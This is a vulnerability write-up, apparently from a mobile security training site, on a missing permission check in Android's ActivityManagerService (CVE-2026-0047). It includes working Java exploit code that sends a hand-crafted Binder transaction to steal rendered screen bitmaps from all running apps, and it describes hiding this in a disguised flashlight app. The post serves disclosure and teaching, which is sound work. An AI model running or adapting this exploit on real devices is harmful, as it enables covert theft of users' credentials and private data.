A missing permission check in Android’s ActivityManagerService lets any installed app silently dump bitmaps from every running process. We built a PoC that exfiltrates 63 PNG images — no permissions, no user interaction.
No external researcher credit is listed for CVE-2026-0047 in the March 2026 Android Security Bulletin. The fix was authored by Google’s Android Platform Security team as part of routine security review of the QPR2 beta branch.
| CVE | CVE-2026-0047 |
| Severity | Critical — CVSS 8.4 (AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Component | ActivityManagerService.dumpBitmapsProto() |
| Root Cause | Missing enforceCallingOrSelfPermission(DUMP) (CWE-280) |
| Impact | Any app steals UI bitmaps from all running apps → credential theft, EoP chain |
| Affected | Android 16 QPR2 Beta 1–3 (Baklava), patch level < 2026-03-01 |
| Patched | March 2026 Android Security Bulletin |
ActivityManagerService (AMS) is one of the most privileged system services in Android — it manages every running app, every process, every task. AMS exposes a family of dump*() methods over Binder IPC for diagnostics. These are gated behind android.permission.DUMP, a signature-level permission that only platform-signed apps and ADB can hold.
CVE-2026-0047 is the exception: dumpBitmapsProto() shipped without the permission check. Any app on the device can call it and receive protobuf-wrapped PNG bitmaps from every running process — icons, UI elements, and anything currently rendered on screen.
If you’re new to how Android manages inter-process communication and exported components, see Android Intent Security: Exploiting Exported Components and Deep Links for the necessary background.
// ActivityManagerService.java — BEFORE the patch
@Override
public byte[] dumpBitmapsProto(String processName, int userId) {
// No enforceCallingOrSelfPermission(DUMP) here!
synchronized (mGlobalLock) {
return dumpBitmapsProtoLocked(processName, userId);
}
}
// ActivityManagerService.java — AFTER the patch
@Override
public byte[] dumpBitmapsProto(String processName, int userId) {
enforceCallingOrSelfPermission(
android.Manifest.permission.DUMP,
"ActivityManagerService: dumpBitmapsProto"
);
synchronized (mGlobalLock) {
return dumpBitmapsProtoLocked(processName, userId);
}
}
The patch inserts a permission gate that throws before any data is accessed.
To demonstrate the real-world impact, we built a PoC disguised as a flashlight app. It declares zero Android permissions — no camera, no storage, no internet. On launch, it silently calls dumpBitmapsProto() via raw Binder and exfiltrates UI bitmaps from every running app.
Here is what makes this especially dangerous:
IBinder.transact(), which completely bypasses Android’s hidden API restrictions on stock devicesIf the victim has a banking app, email client, or password manager visible in the background, the attacker captures its rendered UI — including any displayed credentials, tokens, or sensitive data. This turns an information-disclosure bug into a credential-harvesting mechanism that can chain into full privilege escalation.
Transaction code #117 on the activity service maps to dumpBitmapsProto() in the IActivityManager Stub. Sending it with no arguments from an unprivileged shell causes a NullPointerException inside AMS — proving the method body executes without any permission check:
We use IBinder.transact() to send a hand-crafted Parcel directly to AMS. This bypasses hidden API restrictions entirely — no hidden_api_policy setting needed. The arguments come from disassembling ActivityManagerShellCommand.runDumpBitmaps():
// AIDL wire format for dumpBitmapsProto (transaction #117):
// writeInterfaceToken("android.app.IActivityManager")
// writeInt(1) — non-null marker for Parcelable
// ParcelFileDescriptor.writeToParcel(data, 0) — pipe write end
// writeStringArray(filter) — empty = all processes
// writeInt(-2) — UserHandle.USER_CURRENT
// writeBoolean(true) — dump all foreground processes
// writeString("png") — bitmap compression format
The critical implementation detail is pipe management. AMS writes synchronously to the file descriptor — if the pipe buffer fills (64 KB) before anyone reads the other end, both sides deadlock. The reader thread must start before the Binder call:
// Get AMS binder — ServiceManager.getService is allowed on stock configs
IBinder amBinder = ServiceManager.getService("activity");
String descriptor = amBinder.getInterfaceDescriptor();
ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createPipe();
// Reader thread — MUST start before transact to prevent deadlock
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Thread reader = new Thread(() -> {
FileInputStream fis = new FileInputStream(pipe[0].getFileDescriptor());
byte[] buf = new byte[65536];
int n;
while ((n = fis.read(buf)) > 0) bos.write(buf, 0, n);
});
reader.start();
// Invoker thread — raw Binder, no hidden API reflection
Thread invoker = new Thread(() -> {
try {
Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();
data.writeInterfaceToken(descriptor);
data.writeInt(1); // non-null Parcelable marker
pipe[1].writeToParcel(data, 0); // ParcelFileDescriptor
data.writeStringArray(new String[]{}); // all processes
data.writeInt(-2); // USER_CURRENT
data.writeBoolean(true); // dump all
data.writeString("png"); // format
amBinder.transact(117, data, reply, 0); // dumpBitmapsProto
reply.readException();
data.recycle();
reply.recycle();
} finally {
pipe[1].close(); // signals EOF to reader
}
});
invoker.start();
invoker.join(15000);
reader.join(3000);
pipe[0].close();
byte[] stolenData = bos.toByteArray();
// stolenData contains protobuf with embedded PNGs from ALL running apps
On a Baklava emulator (BP41.250725.007, patch 2025-08-05) with Settings, Clock, and Files open, the exploit returned 679,091 bytes of protobuf data containing 63 valid PNG images. These are the actual rendered bitmaps from every running app — all stolen by a zero-permission app.
Extracting the PNGs is a matter of scanning for PNG magic bytes (89 50 4E 47) and IEND trailer (49 45 4E 44 AE 42 60 82).
The PoC repository includes a single-shot script that automates the entire chain — emulator setup, APK build, installation, exploitation, and bitmap extraction:
Running the PoC $ git clone https://github.com/mobilehackinglab/CVE-2026-0047-poc && cd CVE-2026-0047-pocCheck your security patch level — you need 2026-03-01 or later:
Only Android 16 QPR2 Beta 1–3 (Baklava) builds are affected. Consumer devices on Android 14, 15, or the stable Android 16 release are not vulnerable to this specific CVE.
dump* family is a rich attack surface. Android system services expose dozens of dump*() and proto*() methods. Each one is a potential permission-check miss. When auditing AOSP, search for Binder-exposed methods that return protobuf and verify they call enforceCallingOrSelfPermission(DUMP).Want to find vulnerabilities like this yourself? Mobile Hacking Lab teaches you to audit Android system services, analyze AOSP patches, and build working exploits:
Also: automate your Android security assessments with Djini.ai — AI-powered mobile security testing that catches missing permission checks automatically.
Start the Advanced Exploitation course →
Ready to audit Android system services? Mobile Hacking Lab provides hands-on labs covering the exact vulnerability patterns that appear in Android Security Bulletins every month. Start with the free labs, then advance to Android Userland Fuzzing & Exploitation.